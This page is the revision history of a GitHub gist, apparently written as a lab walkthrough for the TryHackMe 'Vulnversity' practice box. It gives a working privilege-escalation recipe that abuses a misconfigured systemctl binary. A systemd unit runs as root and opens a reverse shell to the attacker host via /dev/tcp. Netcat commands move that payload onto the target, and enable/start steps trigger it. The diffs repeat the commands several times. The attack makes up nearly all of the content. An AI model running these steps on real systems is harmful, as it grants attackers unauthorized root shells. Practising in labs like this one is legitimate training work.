Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save antonga23/10eb500dbb5da9b7985755eedcacdf14 to your computer and use it in GitHub Desktop.

Select an option

Save antonga23/10eb500dbb5da9b7985755eedcacdf14 to your computer and use it in GitHub Desktop.

Revisions

  1. Alvin Smith revised this gist Feb 2, 2021. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,5 @@
    Practice box https://tryhackme.com/room/vulnversity
    # For better reading experience
    https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation

    ### 0. Prepare your payload `root.service`
    ```
  2. Alvin Smith revised this gist Feb 2, 2021. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -46,6 +46,7 @@ Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
    ### 5. The listening 9999 would give you the root

    Expand Knowlege

    https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory

    https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
  3. Alvin Smith revised this gist Feb 2, 2021. 1 changed file with 4 additions and 4 deletions.
    8 changes: 4 additions & 4 deletions Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -21,7 +21,7 @@ or
    ```
    find -type d -maxdepth 2 -writable
    ```
    2. Transfter the payload(There might be other ways)
    ### 2. Transfter the payload(There might be other ways)
    ###### Init the target listening the port
    ```
    nc -vl 44444 > root.service
    @@ -30,11 +30,11 @@ nc -vl 44444 > root.service
    ```
    nc -n TargetIP 44444 < root.service
    ```
    3. Start listening on the 9999
    ### 3. Start listening on the 9999
    ```
    nc -lvnp 9999
    ```
    4. Execute the payload(assume the file is under /var/tmp)
    ### 4. Execute the payload(assume the file is under /var/tmp)
    ```
    /bin/systemctl enable /var/tmp/root.service
    Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
    @@ -43,7 +43,7 @@ Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
    ```
    /bin/systemctl start root
    ```
    5. The listening 9999 would give you the root
    ### 5. The listening 9999 would give you the root

    Expand Knowlege
    https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
  4. Alvin Smith revised this gist Feb 2, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -13,7 +13,7 @@ ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
    [Install]
    WantedBy=multi-user.target
    ```
    1. Find a files/directories that writable
    ### 1. Find a files/directories that writable
    ```
    find -type f -maxdepth 2 -writable
    ```
  5. Alvin Smith revised this gist Feb 2, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    Practice box https://tryhackme.com/room/vulnversity

    0. Prepare your payload `root.service`
    ### 0. Prepare your payload `root.service`
    ```
    [Unit]
    Description=roooooooooot
  6. Alvin Smith revised this gist Feb 2, 2021. 1 changed file with 15 additions and 10 deletions.
    25 changes: 15 additions & 10 deletions Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,4 @@
    https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory

    https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/

    https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

    practice box https://tryhackme.com/room/vulnversity
    Practice box https://tryhackme.com/room/vulnversity

    0. Prepare your payload `root.service`
    ```
    @@ -19,11 +13,15 @@ ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
    [Install]
    WantedBy=multi-user.target
    ```
    1. Find a directory that could write files
    1. Find a files/directories that writable
    ```
    find -type f -maxdepth 2 -writable
    ```
    2. Transfter the payload
    or
    ```
    find -type d -maxdepth 2 -writable
    ```
    2. Transfter the payload(There might be other ways)
    ###### Init the target listening the port
    ```
    nc -vl 44444 > root.service
    @@ -45,4 +43,11 @@ Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
    ```
    /bin/systemctl start root
    ```
    5. listening on [any] 9999... now you get the root
    5. The listening 9999 would give you the root

    Expand Knowlege
    https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory

    https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/

    https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
  7. Alvin Smith revised this gist Jan 12, 2021. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions Privilege Escalation.md
    Original file line number Diff line number Diff line change
    @@ -4,6 +4,8 @@ https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/

    https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

    practice box https://tryhackme.com/room/vulnversity

    0. Prepare your payload `root.service`
    ```
    [Unit]
  8. Alvin Smith renamed this gist Jun 1, 2020. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  9. Alvin Smith revised this gist Jun 1, 2020. 1 changed file with 4 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,7 @@
    https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory

    https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/

    https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

    0. Prepare your payload `root.service`
    @@ -20,11 +22,11 @@ WantedBy=multi-user.target
    find -type f -maxdepth 2 -writable
    ```
    2. Transfter the payload
    #### Init the target listening the port
    ###### Init the target listening the port
    ```
    nc -vl 44444 > root.service
    ```
    #### Send file to traget
    ###### Send file to traget
    ```
    nc -n TargetIP 44444 < root.service
    ```
  10. Alvin Smith created this gist Jun 1, 2020.
    44 changes: 44 additions & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,44 @@
    https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
    https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
    https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

    0. Prepare your payload `root.service`
    ```
    [Unit]
    Description=roooooooooot
    [Service]
    Type=simple
    User=root
    ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
    [Install]
    WantedBy=multi-user.target
    ```
    1. Find a directory that could write files
    ```
    find -type f -maxdepth 2 -writable
    ```
    2. Transfter the payload
    #### Init the target listening the port
    ```
    nc -vl 44444 > root.service
    ```
    #### Send file to traget
    ```
    nc -n TargetIP 44444 < root.service
    ```
    3. Start listening on the 9999
    ```
    nc -lvnp 9999
    ```
    4. Execute the payload(assume the file is under /var/tmp)
    ```
    /bin/systemctl enable /var/tmp/root.service
    Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
    Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
    ```
    ```
    /bin/systemctl start root
    ```
    5. listening on [any] 9999... now you get the root